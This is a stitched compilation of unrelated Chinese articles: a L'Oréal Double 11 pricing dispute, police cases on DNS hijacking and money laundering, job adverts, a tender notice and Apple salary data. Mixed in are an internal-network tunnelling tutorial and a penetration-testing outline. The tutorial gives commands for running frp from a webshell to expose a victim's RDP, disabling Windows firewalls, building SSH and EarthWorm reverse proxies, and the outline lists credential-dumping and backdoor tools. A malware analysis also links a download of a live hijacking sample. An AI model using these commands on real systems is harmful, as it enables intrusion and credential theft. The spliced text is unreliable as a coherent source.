分类： 热搜新闻

昨晚，针对产品在双11期间的价格争议，欧莱雅又一次做了回应，并提出解决方案，
字太多，我给大家翻译一下，就是最多你能得到200块的消费券，没了。
真的，看到这个解决方案我人都蒙了，我已经对你失去信任了，你还要送我优惠券让我在你那儿买货吗？
图片
为大家简单盘一下欧莱雅这两天的争议。
双11后，有消费者反映，在直播间预售买的欧莱雅安瓶面膜远远贵于双11现货：
10月20号在主播直播间抢的欧莱雅安瓶面膜预售要429元，结果双十一欧莱雅自己直播间现货只要257元。
多付了60%的钱啊。
图片
于是，消费者们跑去投诉平台投诉：
“巴黎欧莱雅虚假宣传，付定金后发发放大量优惠券，欺骗消费者并且不一视同仁退差价。”
某投诉平台显示，截至11月19日0时，在某投诉平台上，已有超过3万名消费者投诉。
图片
还有网友冲到客服那里质问，为什么会出现这么大的价格差。
客服说：“李佳琦说是低价就是低价的吗，李佳琦也是个打工人而已，他说再优惠也是官方活动策划那边决定的。”
图片
而就在一个月前，欧莱雅还发了微博，说“10月20日李佳琦直播间欧莱雅安瓶面膜是全年最大力度”。
而在被网友们大批投诉之后，欧莱雅悄悄地删掉了这个微博。
图片
受了骗的消费者跑去和客服对峙，要求退还差价。
结果，客服说：请提供有领取优惠券的录屏哦亲~
请问，谁会在下单购物的时候还录个屏呢？？？
（这边小呸还要提醒一下，各位被商家气昏了头脑的小伙伴，也要小心不法分子趁机诈骗，详情请戳→危险！接电话后这件事千万别做！）
图片
图片来源：老板联播
11月17日晚间，李佳琦、薇娅先后在微博回应称：在此事解决之前，终止与巴黎欧莱雅官方旗舰店的一切合作。
网友总结了两位的声明，提到的点几乎是一模一样：
1、品牌直播间的低价是因为突然发放大额优惠券；
2、这对于在直播间蹲守的人不公平；
3、已经积极联系了品牌，24小时品牌如果不解决，我们负责给消费者进行兜底补偿；
4、暂停跟欧莱雅旗舰店的一切合作。
图片
终于，在两大主播联手出击之后，欧莱雅发布了第一个道歉声明。
图片
网友的总结就是：屁都没说。
图片
然后，又过了近19个小时，欧莱雅发布了本篇文章开头的解决方案。
果不其然，又被骂了。
图片
每一年，欧莱雅都是双11美妆区的热门品牌，也是李佳琦薇娅两位顶流主播的常年座上客。
而如今闹到这种尴尬的地步，其实不是无迹可寻的。
2019年双十一期间，欧莱雅旗下美妆品牌羽西，原本承诺“预售比当天购买更便宜”，却在11日最后几小时全网发放“400-200元”优惠券。
也是预售价格比11日当天购买的要高出一截。
图片
除了差价问题，还有大量消费者反馈旗舰店还疑似存在虚假发货问题。
“1号付的尾款，11号了还在北京呢，原来是虚假发货呢。”
图片
还有人11月1号就付了尾款，本来承诺3号前发出却迟迟没有动静，多次催促下，最终被客服要求消费者申请退款。
图片
屠龙的少年，最终变成了恶龙吗？
很多人都说，去年是直播元年。
因为疫情的影响，很多消费场景从线下搬到了线上，由于去掉了种种中间环节，消费者确实也得到了很大的优惠。
但是对于品牌来说，优惠肯定不会是永远的。
今年要比去年便宜，今年要比去年送得还多，今年要比竞品折扣更大……
自己卷自己，卷到最后的结果就是像欧莱雅一样，想套路消费者，最终导致自己翻了车。
图片
昨晚，在欧莱雅公布解决方案之后，人民日报也发表了评论：
无论是谁，失信于消费者，都会砸了自己的招牌。
图片
11月11日，本来只是一个平凡的光棍节，被你们这些商家造成了一个购物狂欢，想要在这一天清库存、掏空我们的钱包。
那么，商家们就应该在这一天向消费者提供你们所保证的——最低价的产品。
结果到了现在，购物节变成消费者的奔命节。
拼了命到处找那些隐藏颇深的代金券；
拿出计算器绞尽脑汁计算怎样才是下单最优解；
最后好不容易领了券看了直播下了单，
发现还没有当天直接购买来的便宜……
欧莱雅这次的翻车事件，也给广大的品牌、主播们都提个醒。
无论什么时候，品牌的信誉和产品质量是第一位的。
如果做不到的话，消费者终究会离你们而去。
图片

原文来源 ：

https://www.cnblogs.com/anbuxuan/p/11778483.html

frp
项目地址
https://github.com/fatedier/frp/

简介
frp 是一个可用于内网穿透的高性能的反向代理应用，支持 tcp, udp 协议，为 http 和 https 应用协议提供了额外的能力，且尝试性支持了点对点穿透

跨平台支持linux，win，mac

类似于ngrok，运维、开发人员经常使用它管理内网机器和调试程序，例如将内网的22，3389转发到公网，开发人员将本地web服务转发到公网调试，msf/rat远控的内网上线，可以代替前几年流行的”内网通”服务

优点：不需要免杀，支持加密传输

基本用法
在有公网ip的vps上部署服务端，然后在目标的内网机器上运行客户端即可反连公网机器，根据配置把内网中的目的端口转发到公网的那台机器上。网上也有一些免费和收费frp服务，可以免去自己部署服务端。

简单示例：
服务端和客户端均支持配置文件ini运行和命令行运行，下面示例为命令行。

服务端：./frps -p <服务监听端口> -t
客户端：./frpc tcp -s <服务端ip>:<服务端端口> -r <在服务端监听的对应端口> -i <内网地址> -l <内网端口> -t –ue –uc
–ue –uc 分别为加密和压缩(use_encryption && use_compression)

例如通过webshell转发出该机器的3389端口

你的机器：./frps -p 7890 -t woshitoken
Webshell: frpc.exe tcp -s 1.1.1.1:7890 -r 9999 -i 127.0.0.1 -l 3389 -t woshitoken –ue –uc
此时访问你机器的9999端口，即可访达目标机器的3389端口。

更多参数用法查看github项目。

SSH
简介
SSH 会自动加密和解密所有 SSH 客户端与服务端之间的网络数据。但是，SSH 还同时提供了一个非常有用的功能，这就是端口转发

优点：linux自带，传输加密，支持socks代理

用法示例
相关参数：
-C ：压缩数据传输。
-f ：后台认证用户/密码，通常和-N连用，不用登录到远程主机。
-N ：不执行脚本或命令，通常与-f连用。
-g ：在-L/-R/-D参数中，允许远程主机连接到建立的转发的端口，如果不加这个参数，只允许本地主机建立连接。
-L ：本地转发
-R ：远程转发
-D ：动态转发，即socks代理
本地转发（本地建立监听）
ssh -C -f -N -g -L <本地监听ip>:<本地端口>:<远程ip>:<远程端口> 用户名@目标IP -p
ssh -C -f -N -g -L 0.0.0.0:1234:192.168.1.100:3389 root@192.168.2.101 -p 22
远程转发（远端建立监听）
ssh -C -f -N -g -R <远程ip>:<远程端口>:<本地ip>:<本地端口> 用户名@目标IP -p
ssh -C -f -N -g -R 0.0.0.0:1234:192.168.5.2:3389 root@192.168.2.101 -p 22
注：如果远端不能监听0.0.0.0，以下两个方法：

1. 需要修改 ssh 配置/etc/ssh/sshd_config
GatewayPorts 项写为 yes
重启ssh后即可监听0.0.0.0

2. 使用rinetd把监听在127.0.0.1转发到0.0.0.0上
动态转发（socks）
ssh -C -f -N -g -D <本地ip>:<本地端口> 用户名@目标IP -p
ssh -C -f -N -g -D 0.0.0.0:1080 root@192.168.2.101 -p 22
socks代理上本地的1080端口，即可访问192.168.2.101的内网环境

netsh
简介
netsh是Network Shell的缩写，是windows为我们提供的功能强大的网络配置命令行工具。

支持tcp，udp 正向端口转发和修改防火墙规则，没有反向转发的功能，不支持socks。

优点：win自带，支持ipv4和v6。

用法
在xp/2003下使用，要先安装ipv6，装完后需要重启机器才能生效

netsh interface ipv6 install
管理防火墙
对于xp/2003的操作命令不同与之后的系统，而且xp/2003的防火墙不区分出站入站

netsh firewall show state 可查看防火墙的状态，从显示结果中可看到防火墙各功能模块的禁用及启用情况。
netsh firewall set opmode disable 用来禁用系统防火墙
netsh firewall set opmode enable 可启用防火墙。

netsh firewall add portopening TCP <端口号> “规则名称” 允许xx端口出入站
netsh firewall delete portopening TCP <端口号> 删除该条规则
对于 2003 以后的系统，命令如下

netsh advfirewall show allprofiles 查看防火墙的状态
netsh advfirewall set allprofiles state on 开启防火墙
netsh advfirewall set allprofiles state off 关闭防火墙

netsh advfirewall firewall add rule name=”规则名称” dir=in(in为入站,out为出站) action=allow(allow为放行，block为阻止) protocol=TCP localport=<端口号> 添加规则
netsh advfirewall firewall delete rule name=”规则名称” dir=in protocol=TCP localport=<端口号> 删除规则
端口转发
netsh interface portproxy show all 查看所有已设置的转发规则
netsh interface portproxy add v4tov4 listenport=<监听端口> connectaddress=<将要转发的ip> connectport=<将要转发的端口> 添加转发规则
netsh interface portproxy delete v4tov4 listenport=<转发的端口> 删除规则
ew（EarthWorm）
项目地址
https://github.com/rootkiter/EarthWorm

https://github.com/rootkiter/EarthWorm/blob/master/server/download/ew.zip

简介
支持正反向tcp端口转发，类似lcx（htran）

支持反向socks代理

缺点：流量不加密，需要免杀

用法简要说明
-l 本地要监听的端口
-f 要主动连接的ip
-g 要主动连接的端口
-d 要反弹到的ip
-e 要反弹到的端口
-s 工作模式

工作模式支持如下：
lcx_tran 正向tcp端口转发，监听在本地
lcx_slave 反向tcp转发客户端
lcx_listen 反向tcp服务端
ssocksd 创建正向socks代理服务端，监听在本地，直接把当前环境socks代理出去
rssocks 创建反向socks代理服务端
rcsocks 反向socks代理客户端
reGeorg&ABPTTS
项目地址
https://github.com/sensepost/reGeorg

https://github.com/nccgroup/ABPTTS

简介
两款针对Web应用程序的HTTP隧道，使用方法简单，详情查看github项目

原文来源 ：

https://www.cnblogs.com/twlr/p/12312377.html

目录：
内网渗透流程

一、内网信息收集

二、内网渗透方法

内网入侵是在攻击者获取目标webshell之后的一个后渗透的过程。

内网渗透流程
　　内网渗透大致可以分为两部分一部分是内网信息收集，另一部分为内网入侵方法。

一、内网信息收集
　　1、本机信息收集

　　　　本机用户列表

　　　　本机进程

　　　　服务列表

　　　　开放端口

　　　　电脑补丁

　　　　共享权限

　　　　系统日志

　　　　历史记录

　　2、扩展信息收集

　　　　扩展信息是本机所在同意局域网中的其他主机信息，这其中涉及到了Active Directory（域所在的数据库）、域控信息以及Dsquery命令。

　　3、第三方信息收集

　　　　NETBIOS　

　　　　SMB

　　　　漏洞信息

　　　　端口信息

二、内网渗透方法
　　内网渗透现在有一点神话的感觉，其实内网渗透的本质还是渗透，只不过设计了一些其他的技术。以下介绍一些常用的内网渗透方法：

　　　　1、端口转发

　　　　　　因为目标处于内网，通常外网无法访问导致渗透存在一定难度，这时就需要一些端口转发工具和反弹代理等操作。

　　　　　　Windows工具：

　　　　　　Lcx.exe端口转发工具

　　　　　　Htran.exe端口转发工具

　　　　　　ReDuh端口转发

　　　　　　Linux工具：

　　　　　　rtcp.py

　　　　　　Puttp+ssh Socks代理

　　　　　　还有强大的Msf

　　　　2、HASH值抓取工具

　　　　　　Pwdump7

　　　　　　Gsecdump

　　　　　　WCE

　　　　　　Getpass（基于mimikatz）工具逆向获取铭文密码

　　　　3、密码记录工具

　　　　　　WinlogonHack——劫取远程3389登录密码

　　　　　　NTPass——获取管理员口令

　　　　　　键盘记录专家

　　　　　　Linux下的openssh后门

　　　　　　Linux键盘记录sh2log

　　　　4、漏洞扫描

　　　　　　Nmap——可以对操作系统进行扫描，对网络系统安全进行评估

　　　　　　Metasploit——强大的内网渗透工具

　　　　　　HScan——扫描常见漏洞

　　　　5、第三方服务攻击

　　　　　　1433——SQL server服务攻击

　　　　　　3306——Mysql服务攻击

　　　　　　其他第三方服务漏洞

　　　　6、ARP和DNS欺骗

　　　　　　利用内网嗅探工具抓取网络信息继而发起攻击

　　　　　　CAIN——网络嗅探工具

文章来源：大庆公安

随着网络越来越发达，网络违法犯罪技术性越来越强，市公安局网警分局通过网页跳转小细节，成功打掉了一个与通信运营商职工内外勾结，以DNS劫持为手段，劫持上网用户流量，非法控制计算机信息系统犯罪团伙，该案系全国首起涉及通信运营商DNS劫持案。

DNS劫持是咋回事儿？其中暗藏着怎样的猫腻，近日，记者来到网警分局，进行了深入采访。

图片
　　

网页跳转

不更换网络，就无法打开原本的网站，这是一种网络犯罪手段，行话叫DNS劫持。

“点击的是这个网页，却被强制跳转到另一页面，你用电脑试一下。”

“我的也是如此，这不是电脑的问题，可能与网络有关……”

调查一起案件时，网警分局案件侦查一大队民警耿帅，与同事发现了网页跳转这一异常情况。普通老百姓可能不会发现什么，但作为一名网警，耿帅与同事意识到其中一定暗藏着猫腻。

凭借丰富的经验，网警分局立即组织人员，着手调查此事。

民警在调查与之相关的某通信运营商网络时，发现运营商内部，被人动了手脚。

“运营商都有自己的机房，其中的硬件设备好比是各种功能的服务器，用于服务网络，有人在核心交换服务器上动了手脚。”耿帅介绍，有人将“劫持程序”，人为的安装在了运营商核心交换服务器上。

能在服务器上动手脚的人，肯定是内部人员，因为外人根本接触不到服务器。

随着调查的深入，民警渐渐揭开了网页跳转的神秘面纱。

原来，有人在运营商的城域网出口，架设了一台镜像服务器，镜像了全部用户的上网流量数据，再将一种“劫持程序”，安装在这台镜像服务器中，这么做的目的，是让使用这一网络的用户，点击某一网页时强制跳转。

如果想摆脱强制跳转网页这一情况，换电脑不管用，必须更换网络。

是谁动的手脚？网页跳转的最终目的是什么？民警继续追查。

赌博网站

“跳转之后是赌博网站，可以确定是诈骗网站。”民警介绍，这个赌博网站自称是澳门某知名赌博城，网页上有各种介绍。

“网站有麻将、扑克等多种玩法，全是真人线上对战。”

“首次试玩不花一分钱，充值就送500元，手气好还能大赚一笔，网站提现秒到账。”

送彩金、高福利、提现快……类似的宣传十分夸张，就是为了引人“入局”，明眼人一看就知道都是假的，也有人好奇，便开始点击试玩。

“这是典型的网络吸粉引流的手段，通过跳转网页，引人进入网站赌博，继而实施其他诈骗……”耿帅告诉记者，“吸”进去的人试玩后，大都会上瘾，只要往赌博网站之中投钱，这些钱就变成了数字，不管输赢，全都会打水漂。

这种赌博网站大都是输多赢少，一部分人输钱之后，赌博网站还有专门的人员引诱去刷单或是诈骗其他人。到了这一步，将会掉进无底洞。

弄清网页跳转的最终目的是为赌博网站吸粉引流，民警很惊讶，因为这类赌博网站十分坑人，甚至能让人家破人亡，民警还意识到，这背后肯定有更大的“推手”。

图片
　

“黑产”团伙

调查过程中，民警双管齐下，一方面追查赌博网站，另一方面从通信运营商着手调查。

通过蛛丝马迹，通信运营商的“内鬼”，很快被民警揪了出来。顺藤摸瓜，一个围绕DNS劫持与网络流量劫持的犯罪团伙，浮出水面。

民警通过资金流切入调查，发现齐齐哈尔市一名50多岁的女子很可疑，因为一部分资金，流入她的银行卡中。经研判，女子的儿子付某某，出现在警方的视线中。

付某某是这个团伙的核心人物，不仅维系‘内鬼’，而且联系技术人员，他住在哈尔滨市，曾就职的公司，与某通信运营商有很多业务往来，后来，付某某从公司辞职。

2015年开始，付某某买通了运营商内部人员，让对方帮助在运营商机房内，架设镜像数据的服务器，用于安装“劫持程序”。

其实，付某某本身也是一名技术人员，但不会编程，有了歪想法后，他找到了北京两名技术人员，开发出了“劫持程序”。

随着时间推移，该团伙成员层级分明，“生意”越做越大，“业务”已经遍布我省哈尔滨市、大庆市、绥化以及吉林、辽宁、北京等多地。

警方通过调查发现，“网页跳转”只是该团伙其中一项业务，这个团伙最赚钱的业务是“流量劫持”……

流量劫持

什么是流量劫持？以付某某团伙的手段来说，就是访问的网站ID被篡改，行话叫“HTTPS劫持”。

比如，每个用户使用的电脑访问网页等行为，会产生流量。

有一些搜索引擎网站为了推广，鼓励一些个人或是企业申请专属的推广ID，只要是用户通过专属推广ID，访问了搜索引擎并且流量达到一定数量，那么搜索引擎网站就会给专属推广ID支付佣金，也就是所谓的“推广费”。

付某某团伙正是看到了这个“来钱道”，于是通过技术人员编写了程序，再通过“内鬼”将程序植入到运营商机房内部架设的镜像服务器上。这样，众多用户的搜索流量，都会被冠以付某的推广ID，搜索引擎网站给的推广费，全都落入了该团伙手中。

这个程序，可不是针对一两个用户，而是针对一片区域或是一座城市。

民警介绍，以大庆来说，市民只要是某通信运营商的用户，全都“中招”了。

“访问认为有意思的网页，就会产生流量，流量越高赚取的推广费越多。”民警说，流量被劫持，普通用户根本无法发现。2015年以来，付某某这一团伙以此方法获取巨大利益。

图片

巨大利益

采访时，民警对该团伙的两名技术人员艾某、陈某进行了介绍。两人年龄不大，全是名牌大学毕业高材生，曾就职知名互联网企业。

付某某与两人建立联系后，所需的编程程序，全部出自两人之手，在与付某某合作期间，两人受到巨大利益诱惑，辞去工作专门进行“流量劫持”，也建立了自己的业务。

这个团伙的建立，每个环节的人员都受利益驱使。民警介绍，从最初的“流量劫持”业务，再到“网页跳转”，付某某与两名技术人员四六分成，技术人员拿大头。

而“内鬼”也有不菲的收入，付某某每个月会给“内鬼”打款，低的一个月5000-6000元、高的一个月就能达到一两万元。

经查，两名主要技术犯罪嫌疑人，不到5年时间，犯罪收益超5000万元；流量商4年时间，获非法收入超500万元。

连根拔除

2020年5月26日、7月2日，网警分局两次组织集中收网行动，调查中，警方又发现江苏省以杜某为首的另一团伙，一并打掉。

目前，共移送起诉犯罪嫌疑人21人，该案将于近期宣判。

通过本案，可以看出网络违法犯罪的方式和手段技术性越来越强、涉案人员很广。”网警分局副局长贾晓亮提醒市民，千万不要为网络犯罪行为提供帮助。随着我国涉及网络犯罪法律的逐渐细化，已经对相关行为进行了明确，在这起案件中，运营商内部工作人员，通过职业便利提供帮助做流量推广，多数人只知道是违规行为，却不知道已经涉嫌违法犯罪，不要抱侥幸心理。

不要被高额利益回报诱惑，网络黑灰产违法犯罪，往往伴随着高额回报，且门槛较低、入门容易、操作简单，特别是青少年人员，一定要抵挡住诱惑，别走歪了路。

此外，提醒相关行业和人员注意，要通过正规渠道经营企业，获取合法利润，同时加强内部监管，堵塞源头漏洞，营造良好的网络生态。

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经雷神众测允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。

分子实验室 https://molecule-labs.com/

NO.1 事件描述

相关背景

在某学院发现某主机web网站存在暗链，针对该事件，相关同学在此应急事件中发现存在劫持样本，得到相关样本后，在公司大佬们的帮助下对此样本进行了分析。

样本触发效果（请求ua中使用百度蜘蛛发现暗链）

图片
在w3wp.exe中发现病毒样本

图片
在网站配置文件中发现样本真实路径

图片

NO.2 文件信息

md5列表

图片
基本结构

未加壳

图片

调用网络通信相关dll

图片
存在一个导出函数

图片
拖入沙箱中分析发现存在恶意url

图片

NO.3 详细分析

动态调试

图片
在导出函数处下断点调试

图片
发现程序大概会获取环境信息根据UA劫持服务器请求

图片
图片
图片
图片
图片
静态分析

图片
图片
图片
本次分析发现：该文件主要功能为劫持服务器请求并接受载荷到本地执行。

分析如果有不对的地方麻烦指出。

NO.4 资料

图片
样本下载：
https://pan.baidu.com/s/1FhoSYwnL9OH_hPktTaLAIg
提取码：h44m

特别感谢二进制组的大佬们的帮助以及提供样本的同学~

征稿通知

知识应该被分享，安全更需携手共进

征稿持续进行中！愿意分享知识经验的小伙伴们可以把自己的知识沉淀稿件投稿至邮箱：

yujing.gong@dbappsecurity.com.cn
稿件一经发布将有丰厚的稿费！

有任何疑问请添加微信：_WOXIANGJJ 咨询哦~

RECRUITMENT

招聘启事

安恒雷神众测SRC运营（实习生）
————————
【职责描述】
1. 负责SRC的微博、微信公众号等线上新媒体的运营工作，保持用户活跃度，提高站点访问量；
2. 负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作，促进审核人员与白帽子之间友好协作沟通；
3. 参与策划、组织和落实针对白帽子的线下活动，如沙龙、发布会、技术交流论坛等；
4. 积极参与雷神众测的品牌推广工作，协助技术人员输出优质的技术文章；
5. 积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】
1. 责任心强，性格活泼，具备良好的人际交往能力；
2. 对网络安全感兴趣，对行业有基本了解；
3. 良好的文案写作能力和活动组织协调能力。

简历投递至

bountyteam@dbappsecurity.com.cn

设计师（实习生）

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作，负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上，熟悉印刷工艺；具有敏锐的观察力及审美能力，及优异的创意设计能力；有 VI 设计、广告设计、画册设计等专长；
2、有良好的美术功底，审美能力和创意，色彩感强；

3、精通photoshop/illustrator/coreldrew/等设计制作软件；
4、有品牌传播、产品设计或新媒体视觉工作经历；

【关于岗位的其他信息】
企业名称：杭州安恒信息技术股份有限公司
办公地点：杭州市滨江区安恒大厦19楼
学历要求：本科及以上
工作年限：1年及以上，条件优秀者可放宽

简历投递至

bountyteam@dbappsecurity.com.cn

安全招聘

————————

公司：安恒信息
岗位：Web安全 安全研究员
部门：战略支援部
薪资：13-30K
工作年限：1年+
工作地点：杭州（总部）、广州、成都、上海、北京

工作环境：一座大厦，健身场所，医师，帅哥，美女，高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀；
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验；
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例；
4.熟练掌握php、java、asp.net代码审计基础（一种或多种）
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验，熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种（Asp.net、Python、php、java）

【加分项】
1.具备良好的英语文档阅读能力；
2.曾参加过技术沙龙担任嘉宾进行技术分享；
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者；
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者；
5.开发过安全相关的开源项目；
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先；
7.个人技术博客；
8.在优质社区投稿过文章；

岗位：安全红队武器自动化工程师
薪资：13-30K
工作年限：2年+
工作地点：杭州（总部）

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究；
2.平台化建设；
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言；
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案；
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理；
4.对安全技术有浓厚的兴趣及热情，有主观研究和学习的动力；
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力，善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先；
2.在github上有开源安全产品优先；
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先；
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先；
5.具备良好的英语文档阅读能力。

简历投递至

bountyteam@dbappsecurity.com.cn

岗位：红队武器化Golang开发工程师

薪资：13-30K
工作年限：2年+
工作地点：杭州（总部）

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究；
2.平台化建设；
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言；
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验；
3.了解docker，能进行简单的项目部署；
3.熟悉常见web漏洞原理，并能写出对应的利用工具；
4.熟悉TCP/IP协议的基本运作原理；
5.对安全技术与开发技术有浓厚的兴趣及热情，有主观研究和学习的动力，具备正向价值观、良好的团队协作能力和较强的问题解决能力，善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先；
2.在github上有开源安全产品优先；
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先；
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先；
5.具备良好的英语文档阅读能力。

简历投递至

bountyteam@dbappsecurity.com.cn

公安部网安局 山东网警巡查执法 昨天
在网络黑产犯罪产业链中

“跑分”是非常重要的一环

利用自己的账户为他人代收款

然后再转到指定账户

其实质就是洗钱

近期云南网安部门捣毁了

多个“跑分”洗钱团伙

为想通过此类“兼职”赚钱的人

敲响警钟

图片

2021年5月

云南开远市公安局根据线索，查明付某边、余某等人名下银行卡涉嫌“跑分”。当地迅速调集网安、刑侦等部门警力开展深度研判，最终成功抓获7名犯罪嫌疑人。

图片

截至案发，7名犯罪嫌疑人通过各自名下银行卡收款再通过微信支付转出的资金达300余万元。

图片
目前付某边等人已被依法刑事拘留，案件还在进一步处理中。

2021年7月

云南开远市公安局根据公安部下发线索，成功打掉以罗某、梁某富等人为首的“跑分”洗钱团伙，抓获12名犯罪嫌疑人。

图片
经侦查核实，该犯罪团伙中的罗某等人负责与境外人员实时对接联系转移诈骗资金，普某则负责发布信息组织人员参与“跑分”洗钱。

“跑分”人员提供银行卡、手机、微信和支付宝账户，当其银行卡接收到诈骗资金后，再由罗某等人通过微信及支付宝账户进行资金分流转移，操作完成可获得1%的提成。

图片
该团伙涉案金额达百万元，目前12名团伙成员已被依法刑事拘留。

2021年8月

云南个旧市公安局在工作中发现有犯罪团伙将个人银行卡、支付宝账户等交予他人进行“跑分”洗钱。

图片
经刑侦、网安等部门精干警力半个多月的缜密侦查，查实该犯罪团伙为谋取利益向境外不法分子提供“跑分”洗钱服务的违法犯罪行为，涉案金额高达8000万元。

图片
9月3日，个旧市公安机关成功捣毁该“跑分”洗钱犯罪团伙，共抓获22名犯罪嫌疑人，对其中18人依法予以刑拘，扣押涉案银行卡95张、优盾5个、手机20部。

目前，案件还在进一步侦办中。

图片
君子不立危墙之下

请各位不要因贪图小利

而陷入“跑分”深渊

否则不仅会影响个人

通信金融工具的正常办理与使用

还有可能被追究刑事责任

到那时后悔可就来不及啦

2021年8月6日，武汉市轨道交通线网信息化云平台供货及服务招标公告发布，预算78733万元。

工程概况：本项目包括线网信息化云平台系统及相应的灾备和测试系统，主要建设内容包括武汉轨道交通线网信息化云平台的系统（云平台方案、灾备中心方案、信息共享平台方案、信息安全方案、桌面云方案、大屏幕系统方案、NOCC方案、安全生产网方案、内部管理网方案、外部服务网方案等）、系统功能（含安全生产网、内部管理网、外部服务网功能）、11号线及21号线迁入、武湖控制中心和光谷一期控制中心通风、给排水、低压配电优化等。

招标范围及内容：

标段一：线网云平台、数据共享平台的供货及服务；

标段二：云平台网络安全、云平台配套、管理信息系统迁移改造、上层传输网、NOCC、11号线21号线系统迁入的供货及服务。

交货期：暂定为2021年11月到货或按业主通知时间到货，具体工期以招标文件为准。

开标记录

2021年11月19日开标记录发布，详情如下。

标段一：

图片

标段二：

图片

2021年11月19日，IDC发布的《中国云专业服务市场（2021上半年）跟踪》报告显示：2021上半年，中国整体云专业服务市场规模为98.7亿元人民币，同比增速上升至32.7%。

疫情得到有效控制后，企业加快了数字化转型和云化的步伐，推动云专业服务市场加速发展。

2020年滞留项目的释放和平台层建设客户的崛起加速了云建设市场发展，同比增速为32.2%。

数字化转型顶设咨询需求在行业头部客户层出，而中小客户虽然对咨询需求强烈，但是不会单独购买咨询服务，云咨询服务增速为29.8%。

企业数字化转型不仅要“上云”，更是要将焦点放在“用云、用好云”上，有效提振云迁移和云开发服务市场，同比增速分别为31.2%和34.8%。

图片

美国当地时间11月18日，苹果公司股价涨2.85%至每股157.87美元，市值达到2.59万亿美元。

图片
图片

图片

再度高于微软的2.56万亿美元，不到一个月时间苹果重新回到全球市值榜首。

图片
图片

图片

消息面上，据报道，苹果公司在推进电动汽车开发项目上有了重大突破，并将研发重点转向全自动驾驶技术。

有没有想过苹果付给软件工程师或电气工程师的薪水到底有多少？

《商业内幕》杂志分析了数百名苹果员工的薪水。

苹果在签证申请资料中披露了薪资数据，于是我们对其进行了深挖。

签证数据中所含的每位苹果员工的收入都是六位数。

苹果在9月份迎来了又一个成功的财年，收入猛增33%，并凭借iPhone、iPad、Mac及其他设备和服务的销售额创造了950亿美元的利润。

分析师们预测，这家科技巨头有望在市值先后率先达到1万亿美元和2万亿美元大关后在明年成为率先达到3万亿美元的公司，苹果正在引进一批持有签证的海外员工帮助自己创造辉煌。

所有美国公司在申请签证时都必须披露它们打算向外国员工支付多少的薪水。这在美国外国劳工认证办公室发布的数据中有所显示。该办公室最近披露了第三季度的新一批签证申请，显示了近1000份苹果工作签证方面的信息，并表明了该公司为某些职位支付的薪水。

该数据有局限性，比如缺少会大幅提高总薪酬的股票赠予数据。然而，它确实让外人得以了解苹果为软件开发人员、电子工程师、计算机和信息系统经理以及统计学家等职位支付的薪水。

披露的主要是加利福尼亚州、得克萨斯州和华盛顿州的员工的薪水，但也包括纽约州、科罗拉多州、马萨诸塞州、俄勒冈州、佛罗里达州、新泽西州、南卡罗来纳州、北卡罗来纳州和伊利诺伊州等州的员工。这些最新数据中薪酬最高的是加利福尼亚州的一位杰出工程师，他的薪酬高达350000美元，而签证申请人中薪酬最低的是得克萨斯州的两名会计师，每人年薪为106500美元。

下面具体列出了苹果支付给许多其他员工的薪水。几大类职位的薪水数据来自外国劳工认证办公室的文件。下面列出的职位都至少有四名申请人。

•系统软件开发人员

系统软件开发工程师（45名申请人）：128200美元至220000美元

软件开发工程师（35名申请人）：132000美元至239871美元

机器学习工程师（30名申请人）：135000美元至250000美元

测试软件开发工程师（6名申请人）：137275美元至186110美元

生产服务工程师（5名申请人）：150000美元至160000美元

应用软件开发工程师（5名申请人）：173835美元至194105美元

固件软件开发工程师（5名申请人）：125000美元至205108美元

增强现实/虚拟现实（AR/VR）软件开发工程师（4名申请人）：120000美元至246000美元

机器学习研究工程师（4名申请人）：154061美元至211300美元

•电子工程师（不包括计算机）

ASIC设计工程师（26名申请人）：110000美元至195500美元

硬件开发工程师（25名申请人）：135000美元至190000美元

设计验证工程师（18名申请人）：125000美元至231438美元

基础工程（FE）工程师（10名申请人）：139050美元至209396美元

片上系统（SoC）物理设计工程师，布局布线（PnR）（5名申请人）：145000美元至176000美元

VLSI CAD工程师（5名申请人）：136930美元至152144美元

•应用软件开发人员

应用软件开发工程师（118 名申请人）：130000美元至240000美元

软件开发工程师（71名申请人）：120000美元至246000美元

工具和自动化工程师（19名申请人）：125000美元至210000美元

